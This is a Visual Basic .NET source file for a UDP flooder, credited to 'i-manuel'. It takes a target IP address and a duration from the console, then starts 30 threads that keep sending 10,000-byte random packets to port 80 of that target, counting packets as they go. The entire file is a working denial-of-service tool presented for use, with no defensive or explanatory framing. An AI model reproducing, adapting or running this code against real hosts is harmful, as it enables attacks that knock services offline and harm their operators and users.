Udp-Flooder by i-manuel

Imports System.Threading
Imports System.IO
Imports System.Text
Imports System.Net, System.Net.Sockets
Module Main

    Sub Main(ByVal args As String())
        Dim Misc As New Misc

        Dim packet As Byte() = Encoding.UTF8.GetBytes(Misc.getRandomString(10000))

        Dim input As String
        Dim _params As String()


        While True
            input = Console.ReadLine
            If input.Contains(" ") Then
                _params = input.Split(" ")

                Try
                    If Integer.Parse(_params(1)) > 0 Then
                        Dim UdpFlooder As New Flooder(_params(0), 80, Integer.Parse(_params(1)), 30, packet)
                    Else
                        Console.WriteLine("Current time: {0}, Format: 1/{1}",
                                          Integer.Parse(_params(1)), Integer.MaxValue)
                    End If
                Catch ex As Exception
                    Console.WriteLine("Syntax error")
                End Try
            End If
        End While
    End Sub

    Public Class Misc
        Public Function getRandomString(ByVal length As Integer) As String
            Dim output As New StringBuilder
            Dim chars As String = "abcdefghijklmnopqrstuvwxyz"
            Dim rand As New Random

            For i As Integer = 1 To length
                output.Append(chars(rand.Next(0, chars.Length)))
            Next

            Return output.ToString
        End Function
    End Class

    Public Class Flooder
        Private _UdpClient As UdpClient
        Private _IPEndPoint As IPEndPoint
        Private _packet As Byte()

        Private clock As Status

        Private Shared curr_packetCount As Integer

        Public Sub New(ByVal addr$, ByVal port As Integer,
                       ByVal time As Integer, ByVal threads As Integer, ByVal packet As Byte())
            Me._UdpClient = New UdpClient
            Me._IPEndPoint = New IPEndPoint(IPAddress.Parse(addr), port)
            Me._packet = packet

            clock = New Status(time)

            Dim _thrd As Thread
            For i As Integer = 1 To threads
                _thrd = New Thread(AddressOf start)
                _thrd.Start()

                Console.WriteLine("Thread {0} started!", i)
            Next

        End Sub

        Private Sub start()

            While Me.clock.getStatus
                Try

                    Me._UdpClient.Send(Me._packet, Me._packet.Length, Me._IPEndPoint)
                    curr_packetCount += 1

                    Console.WriteLine("{0} KB sent to {1}:{2}", Me._packet.Length / 1000, Me._IPEndPoint.Address,
                                      Me._IPEndPoint.Port)
                Catch : End Try
            End While
        End Sub

        Public Shared Function getCurrPacketCount() As Integer
            Return Flooder.curr_packetCount
        End Function
    End Class

    Public Class Status

        Private result As Boolean
        Private max_time As Integer

        Public Sub New(ByVal time As Integer)
            Me.result = True
            Me.max_time = time

            Dim clock As New Thread(AddressOf start)
            clock.Start()
        End Sub

        Private Sub start()
            For i As Integer = 1 To Me.max_time
                Console.Title = String.Format("Time: {0}/{1}, Packets: {2}", i, Me.max_time,
                                              Flooder.getCurrPacketCount)
                Thread.Sleep(1000)
            Next

            Console.Title = "Stopped!"
            Me.result = False
        End Sub

        Public Function getStatus() As Boolean
            Return Me.result
        End Function
    End Class
End Module